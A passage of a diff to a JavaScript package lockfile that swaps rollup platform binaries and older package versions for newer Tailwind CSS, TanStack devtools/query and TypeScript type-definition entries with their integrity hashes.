"^6.4.1" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-558RPNYnXx4nGh537DSqAn4xMrC8iFipl/5+xzgzWoTNFst4RnUN3BOLmtDjJ0UGGoQXVMALYR3bNOHM0xnt1Q=="], - "@rollup/rollup-linux-arm64-gnu": ["@rollup/rollup-linux-arm64-gnu@4.62.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-wnFJkogWvN4jm/hQRF2UBaeUmk20j5+DmHvoyWii2b8HJDyvz1MF2OU/6ynXt2KR63rbZLWkFpoytpdc/yBuSA=="], + "@solid-primitives/resize-observer": ["@solid-primitives/resize-observer@2.2.0", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.6", "@solid-primitives/rootless": "^1.5.4", "@solid-primitives/static-store": "^0.1.4", "@solid-primitives/utils": "^6.4.1" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-9Fuu/EWBeGj+atGHRJp70HKhdfalmpjwxY8a32NZixdLNmfCJ45AfhLQNr6uOzETbbiMx4iCKlTrJ8KZCHC2Ww=="], - "@rollup/rollup-linux-arm64-musl": ["@rollup/rollup-linux-arm64-musl@4.62.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-HVu2bp0zhvJ8xHEV9+UUs7S90VadmBSY3LcIMvozbPo4AuMGDWlz3ymHLHZPX4hR67TKTt8Qp5PJ5RBg/i+RMQ=="], + "@solid-primitives/rootless": ["@solid-primitives/rootless@1.5.4", "", { "dependencies": { "@solid-primitives/utils": "^6.4.1" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-TOIZa1VUfVJ+9nkCcRajw3U4t9vBOP1HxX1WHNTbXq32mXwlqTvUnC4CRIilohcryBkT9u2ZkhUDSHRTaGp55g=="], - "@rollup/rollup-linux-loong64-gnu": ["@rollup/rollup-linux-loong64-gnu@4.62.2", "", { "os": "linux", "cpu": "none" }, "sha512-mQqqAV8QaoSgr9I2fKDLY2BAVvmKjWoGiu/cSYQonsLvtqwEn1E4QYfnCOcp5zoEqNhsDYin1s6jx/VJmrxlZg=="], + "@solid-primitives/static-store": ["@solid-primitives/static-store@0.1.4", "", { "dependencies": { "@solid-primitives/utils": "^6.4.1" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-LgtVaVBtB7EbmS4+M0b8xY5Iq6pUWXBsIC4VgtrFKDGDdyCaDt88sHk0fUlx1Enxm/XZnZyLXJABRoa39RjJqA=="], - "@rollup/rollup-linux-loong64-musl": ["@rollup/rollup-linux-loong64-musl@4.62.2", "", { "os": "linux", "cpu": "none" }, "sha512-IxKLoxCQ2IWi6bT2akyDUBGsOImDKB+sPp4EsTmwFQ/fMwpCKm8uLSSgP/Kx/QYUgKis6SEZ5/Nlhup0DIA0PQ=="], + "@solid-primitives/utils": ["@solid-primitives/utils@6.4.1", "", { "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-ISSB5QX1qP2ynrheIpYwc4oKR5Ny4siNuUyf1qZniy+Il+p/PtDB0QK1Dnle8noiHpwRD3gpPdubOC3qI/Zamg=="], - "@rollup/rollup-linux-ppc64-gnu": ["@rollup/rollup-linux-ppc64-gnu@4.62.2", "", { "os": "linux", "cpu": "ppc64" }, "sha512-Mk5ha2RQSgyFfmYYLkBpPnUk8D8FriBxesO1u9O75X0mHgXL1UQcH5Itl2lurWL2tj0RxV9b9tJgipac0hRY9A=="], + "@standard-schema/spec": ["@standard-schema/spec@1.1.0", "", {}, "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w=="], - "@rollup/rollup-linux-ppc64-musl": ["@rollup/rollup-linux-ppc64-musl@4.62.2", "", { "os": "linux", "cpu": "ppc64" }, "sha512-CjvEnqJL/0/TQ3TXX3OPIJ/kmBellrWd4heXUmHeJlTnmwjKpSJzoehLaL6Xk0ZnMHBu9dZuFADNOrtjF4v+2w=="], + "@standard-schema/utils": ["@standard-schema/utils@0.3.0", "", {}, "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g=="], - "@rollup/rollup-linux-riscv64-gnu": ["@rollup/rollup-linux-riscv64-gnu@4.62.2", "", { "os": "linux", "cpu": "none" }, "sha512-1SiZbzwdkaDURsew/tSOrooKiYy7EQGT6m8ufavAi9NEyQb/6VuIxFXAL1fqa4iZe3g4NbNk4P7J32z2tw5Mgg=="], + "@tailwindcss/node": ["@tailwindcss/node@4.3.3", "", { "dependencies": { "@jridgewell/remapping": "^2.3.5", "enhanced-resolve": "^5.24.1", "jiti": "^2.7.0", "lightningcss": "1.32.0", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.3.3" } }, "sha512-/T8IKEsf9VTU6tLjgC7+sv2mOPtQxzE2jMw7u4Tt40Tx+QSZxpzh95/H6cMKoja9XuW7iMdLJYBB0o9G1CaAgg=="], - "@rollup/rollup-linux-riscv64-musl": ["@rollup/rollup-linux-riscv64-musl@4.62.2", "", { "os": "linux", "cpu": "none" }, "sha512-nQts12zJ3NQRoE6uYljOH89v7szzLDvG2JD/vsX+vGXU8w/At1GowTZ5/7qeFQ8m7L55rpR8Okugnuo5bgjy2Q=="], + "@tailwindcss/oxide": ["@tailwindcss/oxide@4.3.3", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.3.3", "@tailwindcss/oxide-darwin-arm64": "4.3.3", "@tailwindcss/oxide-darwin-x64": "4.3.3", "@tailwindcss/oxide-freebsd-x64": "4.3.3", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.3.3", "@tailwindcss/oxide-linux-arm64-gnu": "4.3.3", "@tailwindcss/oxide-linux-arm64-musl": "4.3.3", "@tailwindcss/oxide-linux-x64-gnu": "4.3.3", "@tailwindcss/oxide-linux-x64-musl": "4.3.3", "@tailwindcss/oxide-wasm32-wasi": "4.3.3", "@tailwindcss/oxide-win32-arm64-msvc": "4.3.3", "@tailwindcss/oxide-win32-x64-msvc": "4.3.3" } }, "sha512-krXjAikiaFSPaK/FkAQT5UTx3VormQaiZ5hBFlJZ9UFQGB/rwg1MZIhHAG9smMQRTdyJxP6Qt5MwMtdyU5FWrA=="], - "@rollup/rollup-linux-s390x-gnu": ["@rollup/rollup-linux-s390x-gnu@4.62.2", "", { "os": "linux", "cpu": "s390x" }, "sha512-E9/ll019jhPIJgpzfZoIkBGhcz+kKNgVWYRY0zr9srBdPPFVpvOKW8VaJKUbeK+eZXyQF9ltME+Kk6affeaPgg=="], + "@tailwindcss/oxide-android-arm64": ["@tailwindcss/oxide-android-arm64@4.3.3", "", { "os": "android", "cpu": "arm64" }, "sha512-Y85A2gmPSkl5Ve5qR86GL4HT509cFqQh1aes9p3sSkyTPwt0Pppf3GkwGe4JPACcRYjgJIEhQgM6dBClnr0NYw=="], - "@rollup/rollup-linux-x64-gnu": ["@rollup/rollup-linux-x64-gnu@4.53.3", "", { "os": "linux", "cpu": "x64" }, "sha512-3EhFi1FU6YL8HTUJZ51imGJWEX//ajQPfqWLI3BQq4TlvHy4X0MOr5q3D2Zof/ka0d5FNdPwZXm3Yyib/UEd+w=="], + "@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/oxide-darwin-arm64@4.3.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-BiaWatpBcERQFDlOjRDpIVXuFK5PJez5SA4JMg6VYZdBYU+qKfV/vqjcIs+IYmtitf1xYQZTwXvU/8y4lfZUGw=="], - "@rollup/rollup-linux-x64-musl": ["@rollup/rollup-linux-x64-musl@4.62.2", "", { "os": "linux", "cpu": "x64" }, "sha512-uNN83XxQrRAh/w0/pmAfibcwyb6YWt4gP+dpnQKPVJshAloQ785ii8CT8ZCIxkGg9opVsvAlGhFitSm6D1Jjpg=="], + "@tailwindcss/oxide-darwin-x64": ["@tailwindcss/oxide-darwin-x64@4.3.3", "", { "os": "darwin", "cpu": "x64" }, "sha512-fAeUqfV5ndhxRwai8cXGzdLvul9utWOmeTkv69unv4ZXixjn61Z+p9lCWdwOwA3TYboG3BwdVuN/RDjhBRl0mw=="], - "@rollup/rollup-openbsd-x64": ["@rollup/rollup-openbsd-x64@4.62.2", "", { "os": "openbsd", "cpu": "x64" }, "sha512-srjEIxSH3LRnJN6THczDHWQplqEMFiAJrTab0msUryh9kwNpkICf3Ea6q6MN/2cZwRFUNx5w+h6Hpi4QuHS6Zg=="], + "@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/oxide-freebsd-x64@4.3.3", "", { "os": "freebsd", "cpu": "x64" }, "sha512-iyf5bV6+wnAlflVeEy7R25dupxTNECZN5QMI0qNT6eT+EgaGdZcKhGkr5SdoaWiLJ3spLqIY9VCeSGrwmtg4kw=="], - "@rollup/rollup-openharmony-arm64": ["@rollup/rollup-openharmony-arm64@4.62.2", "", { "os": "none", "cpu": "arm64" }, "sha512-8hOJnxgbyObnCm5AlRA3A931xX19xq80RjVTKgJOvEKWqJruP/Uf12IbAOaDjjEXYRewwHLfmF0YRIdK3OwKWA=="], + "@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/oxide-linux-arm-gnueabihf@4.3.3", "", { "os": "linux", "cpu": "arm" }, "sha512-aAYUprJAJQWWbRrPvtjdroZ56Md+JM8pMiopS6xGEwDfLhqj+2ver2p4nU4Mb3CRqcMmNBjo8KkUgcxhkzVQGQ=="], - "@rollup/rollup-win32-arm64-msvc": ["@rollup/rollup-win32-arm64-msvc@4.62.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-mmF4AY1i0hG/bLWUctUq59gtmgaSIRa3cu/A3JFRp/sCNEme2bgDEiDS22P9FbnJB8NJNF4jPJiSP5RHQpUTDg=="], + "@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/oxide-linux-arm64-gnu@4.3.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-nDxldcEENOxZRzC2uu9jrutZdAAQtb+8WWDCSnWL1zvBk1+FN+x6MtDViPB5AJMfttVCUhehGWus3XBPgatM/w=="], - "@rollup/rollup-win32-ia32-msvc": ["@rollup/rollup-win32-ia32-msvc@4.62.2", "", { "os": "win32", "cpu": "ia32" }, "sha512-DZgkknc6jhHrk46V25vbAM0zZkyP0nSDkJB8/dRkLTxv470dOmWDqGoEJl/9A0dFfS7yE3REOwNDxpHwSLSt0Q=="], + "@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/oxide-linux-arm64-musl@4.3.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-Md44bD6veX/PC5iyF8cDVnw4HBIANZepRZZ7a8DQOvkfo5WUBwcp6iAuCUz23u+4SUkhJlD3eL7hNdW8ezd/kA=="], - "@rollup/rollup-win32-x64-gnu": ["@rollup/rollup-win32-x64-gnu@4.62.2", "", { "os": "win32", "cpu": "x64" }, "sha512-T6xr6ucWSFto+VGajA8YH26LdpHRuP4YLHEKAtCWvJDOlnmWcDZVCI2Jmjr+IFHDlt2zRaTAKE4tfjTaWLgJBg=="], + "@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.3.3", "", { "os": "linux", "cpu": "x64" }, "sha512-tx7us1muwOKAKWao2v/GaafFeQboE6aj88vC6ziN2NCGcRm8gWUhwjzg+YdVB1e4boAtdtma4L43onunI6NS4w=="], - "@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.62.2", "", { "os": "win32", "cpu": "x64" }, "sha512-BfzEnDJOt9T8M989/lA37EcJgat01wLRnoi5dQf3QzOH7jzpqTAzdDbVfRljVr5r+jzKqpbHeyOfAaXxAd0PAA=="], + "@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.3.3", "", { "os": "linux", "cpu": "x64" }, "sha512-SJxX60smvHgasZoBy11dX6YRjXJFovwWBoedhbQPOBzgFWBHGB+TVPWB9BxzR7TTxU8FQZAI2AyiNCMzFm8Img=="], - "@shikijs/core": ["@shikijs/core@4.3.0", "", { "dependencies": { "@shikijs/primitive": "4.3.0", "@shikijs/types": "4.3.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4", "hast-util-to-html": "^9.0.5" } }, "sha512-EooU3i9F6IAE8kEu+AnGf9DFZWkQBZ+hJn3tLVbsH+61mtQiva5biai66fAA6nvFPXkLgvrh7BrR7YcJU83xQQ=="], + "@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.3.3", "", { "dependencies": { "@emnapi/core": "^1.11.1", "@emnapi/runtime": "^1.11.1", "@emnapi/wasi-threads": "^1.2.2", "@napi-rs/wasm-runtime": "^1.1.4", "@tybys/wasm-util": "^0.10.2", "tslib": "^2.8.1" }, "cpu": "none" }, "sha512-jx1+rPhY/5Ympkktd656HBWEBLxP7dH06losBLjjf5vgCODXvi9KhtftWcMIwTFIDqBr7cRnQkdLnAG+IOlGvQ=="], - "@shikijs/engine-javascript": ["@shikijs/engine-javascript@4.3.0", "", { "dependencies": { "@shikijs/types": "4.3.0", "@shikijs/vscode-textmate": "^10.0.2", "oniguruma-to-es": "^4.3.6" } }, "sha512-hTv/KiFf2tpiqlACPiztGGurEARWIutB8YUhcrA1pUC7VzzwKO+g5crUocrLztrZ5ro5Z4hbXg7bYclETn3gSQ=="], + "@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.3.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-3rc292Ca2ceK6Ulcc/bAVnTs/3nDtoPhyEKlgPv+yQJQi/JS/AMJlqzxvlDacL1nekbrcf6bTqp/jV4qgnPxNQ=="], - "@shikijs/engine-oniguruma": ["@shikijs/engine-oniguruma@4.3.0", "", { "dependencies": { "@shikijs/types": "4.3.0", "@shikijs/vscode-textmate": "^10.0.2" } }, "sha512-1vMdN3gHfnKfLYwecUI2ITJI4RhHt96xEaJumVn7Heb0IlJ8WQMIH0Voak+2j22BpSNKdnOfB/pCTPnPm2gq7A=="], + "@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.3.3", "", { "os": "win32", "cpu": "x64" }, "sha512-yJ0pwIVc/nYeGoV02WtsN8KYyLQv7kyI2wDnkezyJlGGjkd4QLwDGAwl47YpPJeuI0M0ObaXGSPjvWDPeTPggw=="], - "@shikijs/langs": ["@shikijs/langs@4.3.0", "", { "dependencies": { "@shikijs/types": "4.3.0" } }, "sha512-rnlqFbBRSys9bT4gl/5rw9RnS0W/I84ZldXPkO7cvlEMoV85TyF/aU01N7/NbSR776RNLjrJKjfFUXJR6wN1Cg=="], + "@tailwindcss/vite": ["@tailwindcss/vite@4.3.3", "", { "dependencies": { "@tailwindcss/node": "4.3.3", "@tailwindcss/oxide": "4.3.3", "tailwindcss": "4.3.3" }, "peerDependencies": { "vite": "^5.2.0 || ^6 || ^7 || ^8" } }, "sha512-yYU8cogLeSh/ms2jh8Fj7jaba/EWa7Ja6GoUqYZaraEuCI5YS6ms6ObZgjjedm+jm6XZjdNRWBpPP6Z86oOxcw=="], - "@shikijs/primitive": ["@shikijs/primitive@4.3.0", "", { "dependencies": { "@shikijs/types": "4.3.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-CPkz64PTa5diRW1ggzMZH9VM/du4RNChYgVtgqrFcgruvIybmCvySv8GkiHSczUHXYuuR8TdKEwFx+UnZMpgdg=="], + "@tanstack/devtools": ["@tanstack/devtools@0.10.14", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/keyboard": "^1.3.3", "@solid-primitives/resize-observer": "^2.1.3", "@tanstack/devtools-client": "0.0.6", "@tanstack/devtools-event-bus": "0.4.1", "@tanstack/devtools-ui": "0.5.0", "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" }, "bin": { "intent": "bin/intent.js" } }, "sha512-bg1e0PyjmMMsc9VSOGb9etu15CpFdAwlQ5DD2xS6N93iTPgCPWXiZQFZygrEDoKnnx1x7BM6QTaiukizaejgSA=="], - "@shikijs/themes": ["@shikijs/themes@4.3.0", "", { "dependencies": { "@shikijs/types": "4.3.0" } }, "sha512-Avgt05YiT+Y3prjIc9lmQxhJzHBcCfR6cjiFW4OyaMBbt2A6trX5rfjUzx+Vj/mE9qpArYjatnqo9XPjQNW/AQ=="], + "@tanstack/devtools-client": ["@tanstack/devtools-client@0.0.5", "", { "dependencies": { "@tanstack/devtools-event-client": "^0.4.0" } }, "sha512-hsNDE3iu4frt9cC2ppn1mNRnLKo2uc1/1hXAyY9z4UYb+o40M2clFAhiFoo4HngjfGJDV3x18KVVIq7W4Un+zA=="], - "@shikijs/types": ["@shikijs/types@4.3.0", "", { "dependencies": { "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-oc8b9U2SYvofKZk8e/737nIX0qwf6eV2vHFATeObAu7r+mUVpLs8Re0BmVkIjAWAYgkmG/CzLNo7rzuBzRu/wQ=="], + "@tanstack/devtools-event-bus": ["@tanstack/devtools-event-bus@0.4.0", "", { "dependencies": { "ws": "^8.18.3" } }, "sha512-1t+/csFuDzi+miDxAOh6Xv7VDE80gJEItkTcAZLjV5MRulbO/W8ocjHLI2Do/p2r2/FBU0eKCRTpdqvXaYoHpQ=="], - "@shikijs/vscode-textmate": ["@shikijs/vscode-textmate@10.0.2", "", {}, "sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg=="], + "@tanstack/devtools-event-client": ["@tanstack/devtools-event-client@0.4.4", "", { "bin": { "intent": "./bin/intent.js" } }, "sha512-6T5Yop/793YI+H+5J8Hsyj4kCih9sl4t3ElLgKioW5hk3ocn+ZdSJ94tT7vL7uabxSugWYBZlOTMPzEw2puvQw=="], - "@solid-primitives/event-listener": ["@solid-primitives/event-listener@2.4.3", "", { "dependencies": { "@solid-primitives/utils": "^6.3.2" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-h4VqkYFv6Gf+L7SQj+Y6puigL/5DIi7x5q07VZET7AWcS+9/G3WfIE9WheniHWJs51OEkRB43w6lDys5YeFceg=="], + "@tanstack/devtools-ui": ["@tanstack/devtools-ui@0.5.0", "", { "dependencies": { "clsx": "^2.1.1", "dayjs": "^1.11.19", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-nNZ14054n31fWB61jtWhZYLRdQ3yceCE3G/RINoINUB0RqIGZAIm9DnEDwOTAOfqt4/a/D8vNk8pJu6RQUp74g=="], - "@solid-primitives/keyboard": ["@solid-primitives/keyboard@1.3.3", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/rootless": "^1.5.2", "@solid-primitives/utils": "^6.3.2" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-9dQHTTgLBqyAI7aavtO+HnpTVJgWQA1ghBSrmLtMu1SMxLPDuLfuNr+Tk5udb4AL4Ojg7h9JrKOGEEDqsJXWJA=="], + "@tanstack/devtools-vite": ["@tanstack/devtools-vite@0.4.1", "", { "dependencies": { "@babel/core": "^7.28.4", "@babel/generator": "^7.28.3", "@babel/parser": "^7.28.4", "@babel/traverse": "^7.28.4", "@babel/types": "^7.28.4", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "chalk": "^5.6.2", "launch-editor": "^2.11.1", "picomatch": "^4.0.3" }, "peerDependencies": { "vite": "^6.0.0 || ^7.0.0" } }, "sha512-PkMOomcWnl/pUkCqIjqL/csjPHtkMVBirDpJVOZR7XJZDxo5CuD7B+3KsujFCF4Dsn6QYlae97gCZvxi/CB76Q=="], - "@solid-primitives/resize-observer": ["@solid-primitives/resize-observer@2.1.3", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/rootless": "^1.5.2", "@solid-primitives/static-store": "^0.1.2", "@solid-primitives/utils": "^6.3.2" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-zBLje5E06TgOg93S7rGPldmhDnouNGhvfZVKOp+oG2XU8snA+GoCSSCz1M+jpNAg5Ek2EakU5UVQqL152WmdXQ=="], + "@tanstack/query-core": ["@tanstack/query-core@5.102.8", "", {}, "sha512-ZNjkJ33CqvPNec/6lZBnHqLc3EVGPZ9ySLhYahU9TcuRFdmwXewuj0c4hwSWcGHqEUwcSrKeZ+oGcvPBqXcQcg=="], - "@solid-primitives/rootless": ["@solid-primitives/rootless@1.5.2", "", { "dependencies": { "@solid-primitives/utils": "^6.3.2" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-9HULb0QAzL2r47CCad0M+NKFtQ+LrGGNHZfteX/ThdGvKIg2o2GYhBooZubTCd/RTu2l2+Nw4s+dEfiDGvdrrQ=="], + "@tanstack/react-devtools": ["@tanstack/react-devtools@0.9.13", "", { "dependencies": { "@tanstack/devtools": "0.10.14" }, "peerDependencies": { "@types/react": ">=16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-O9YXTEe2dlnw2pPNKFZ4Wk7zC4qrDvc0SAALKfMVedeZ2Dyd0LEJUabYS6GPm+DmnrBhc7nJx6Zqc9aDjFrj4g=="], - "@solid-primitives/static-store": ["@solid-primitives/static-store@0.1.2", "", { "dependencies": { "@solid-primitives/utils": "^6.3.2" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-ReK+5O38lJ7fT+L6mUFvUr6igFwHBESZF+2Ug842s7fvlVeBdIVEdTCErygff6w7uR6+jrr7J8jQo+cYrEq4Iw=="], + "@tanstack/react-query": ["@tanstack/react-query@5.102.8", "", { "dependencies": { "@tanstack/query-core": "5.102.8" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-TYBea4OuXWD7MhaSHq069TWbFe7rcwWN6kzT7JF0OKi1K6c1gTv2IzD6A6ExJsCMozdkqBWeuIUZmu4KQg0O5A=="], - "@solid-primitives/utils": ["@solid-primitives/utils@6.3.2", "", { "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-hZ/M/qr25QOCcwDPOHtGjxTD8w2mNyVAYvcfgwzBHq2RwNqHNdDNsMZYap20+ruRwW4A3Cdkczyoz0TSxLCAPQ=="], + "@types/d3-hierarchy": ["@types/d3-hierarchy@1.1.11", "", {}, "sha512-lnQiU7jV+Gyk9oQYk0GGYccuexmQPTp08E0+4BidgFdiJivjEvf+esPSdZqCZ2C7UwTWejWpqetVaU8A+eX3FA=="], - "@standard-schema/spec": ["@standard-schema/spec@1.1.0", "", {}, "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w=="], + "@types/debug": ["@types/debug@4.1.13", "", { "dependencies": { "@types/ms": "*" } }, "sha512-KSVgmQmzMwPlmtljOomayoR89W4FynCAi3E8PPs7vmDVPe84hT+vGPKkJfThkmXs0x0jAaa9U8uW8bbfyS2fWw=="], - "@standard-schema/utils": ["@standard-schema/utils@0.3.0", "", {}, "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g=="], + "@types/estree": ["@types/estree@1.0.9", "", {}, "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg=="], - "@tailwindcss/node": ["@tailwindcss/node@4.3.1", "", { "dependencies": { "@jridgewell/remapping": "^2.3.5", "enhanced-resolve": "5.21.6", "jiti": "^2.7.0", "lightningcss": "1.32.0", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.3.1" } }, "sha512-6NDaqRoAMSXD1mr/RXu0HBvNE9a2n5tHPsxu9XHLws8o4Twes5rBM2205SUUiJ9goAtadrN6xTGX0UDEwp/N4A=="], + "@types/estree-jsx": ["@types/estree-jsx@1.0.5", "", { "dependencies": { "@types/estree": "*" } }, "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg=="], - "@tailwindcss/oxide": ["@tailwindcss/oxide@4.3.1", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.3.1", "@tailwindcss/oxide-darwin-arm64": "4.3.1", "@tailwindcss/oxide-darwin-x64": "4.3.1", "@tailwindcss/oxide-freebsd-x64": "4.3.1", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.3.1", "@tailwindcss/oxide-linux-arm64-gnu": "4.3.1", "@tailwindcss/oxide-linux-arm64-musl": "4.3.1", "@tailwindcss/oxide-linux-x64-gnu": "4.3.1", "@tailwindcss/oxide-linux-x64-musl": "4.3.1", "@tailwindcss/oxide-wasm32-wasi": "4.3.1", "@tailwindcss/oxide-win32-arm64-msvc": "4.3.1", "@tailwindcss/oxide-win32-x64-msvc": "4.3.1" } }, "sha512-yVPyo8RNkabVr3O2EhHEE0Rewu7YKzc1DhIqfL46LKveFrmu9XbDazNOJY7/GRuvw1h6u3utWnR29H/p5JPlgA=="], + "@types/hast": ["@types/hast@3.0.5", "", { "dependencies": { "@types/unist": "*" } }, "sha512-rp/ezSWaD1m44dPKICGhiskI13nVr7qTloFwDa/IYkhhf5nzwP+zIQcIJh3WIFSBOy/H1PzB40jPjMDksN4F+g=="], - "@tailwindcss/oxide-android-arm64": ["@tailwindcss/oxide-android-arm64@4.3.1", "", { "os": "android", "cpu": "arm64" }, "sha512-SVlyf61g374l5cHyg8x9kf5xmLcOaxvOTsbsqDnSsDJaKOEFZ7GCvi84VAVGpxojYOs1+3K6M0UjXfqPU8vmOQ=="], + "@types/mdast": ["@types/mdast@4.0.4", "", { "dependencies": { "@types/unist": "*" } }, "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA=="], - "@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/oxide-darwin-arm64@4.3.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-hVnWLwv+e/l7c4WKyVtHVrIPvYdqWHjRB3MDIqARynzFtnQg85kmQEFCbV9Ja0VVx4xXTIiDWY60Y7iz/iNoDA=="], + "@types/mdx": ["@types/mdx@2.0.14", "", {}, "sha512-T48PeuJtvLosNTPVhfnIp3i/n3a4g4Bad7YCq5k64D4u7NwDrAotikQ+5+sjtUvBmxCMlbo3dVL+C2dP0rWHzg=="], - "@tailwindcss/oxide-darwin-x64": ["@tailwindcss/oxide-darwin-x64@4.3.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-Cf7abu0WVgbhU7ANgPUnSAvm7nCvMweusHb8FnaHlLfv/Caq4GYaEZg7ZImzzmjx4lIAfuS8q+eLIS7A7IzxIg=="], + "@types/ms": ["@types/ms@2.1.0", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="], - "@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/oxide-freebsd-x64@4.3.1", "", { "os": "freebsd", "cpu": "x64" }, "sha512-ZZqzX2Y+GXtXXfqSfpJhDm60OoZfvLHLCgm+J7NVqgHHJjG/m9ugZI77RwTsVd4fnBJuCFP6Ae6kTJb71UdS8g=="], + "@types/node": ["@types/node@26.4.0", "", { "dependencies": { "undici-types": "~8.3.0" } }, "sha512-faiGnoIrLH/V8cibOMEAZ8pMw6oXqSukl29ra4mN8GdaB2ZewzeaLj+INpV5N+Z1eKWzY+IzaIZH2EIR6YZRNQ=="], - "@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/oxide-linux-arm-gnueabihf@4.3.1", "", { "os": "linux", "cpu": "arm" }, "sha512-/Ah/xik0LaMYfv9DZ0S/t4pBlBNYOcqtRwusjgovHkvT8ixueWCLyJjsaF5kQIckjb4IT8Q6K6p/iPmZMixYgg=="], + "@types/prismjs": ["@types/prismjs@1.26.6", "", {}, "sha512-vqlvI7qlMvcCBbVe0AKAb4f97//Hy0EBTaiW8AalRnG/xAN5zOiWWyrNqNXeq8+KAuvRewjCVY1+IPxk4RdNYw=="], - "@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/oxide-linux-arm64-gnu@4.3.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-gqdFoVJlw444GvpnheZLHmvTzSxI/cOUUh2KSNejQjTcYkW062SVD+En0rUgD+QV91bz1XGIGtt1HJd48xUGbQ=="], + "@types/react": ["@types/react@19.2.18", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-AnzbBERsrLKtk2XSfTbYRLjQPdy116Sty4q+T+Bp3IC4l6jNBvreVPAHmpq9qhXQM7CXZPjLVmGMw9sy+hxQ3w=="], - "@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/oxide-linux-arm64-musl@4.3.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-Bwv9KwOvE0VKa86xPFif9b9c3Y1NxOV1P0gLti/IYaWEsQYZXDlxfGEtA8mdDZ7SG3wyNXAWYT5SIn3giL57oA=="], + "@types/react-copy-to-clipboard": ["@types/react-copy-to-clipboard@5.0.7", "", { "dependencies": { "@types/react": "*" } }, "sha512-Gft19D+as4M+9Whq1oglhmK49vqPhcLzk8WfvfLvaYMIPYanyfLy0+CwFucMJfdKoSFyySPmkkWn8/E6voQXjQ=="], - 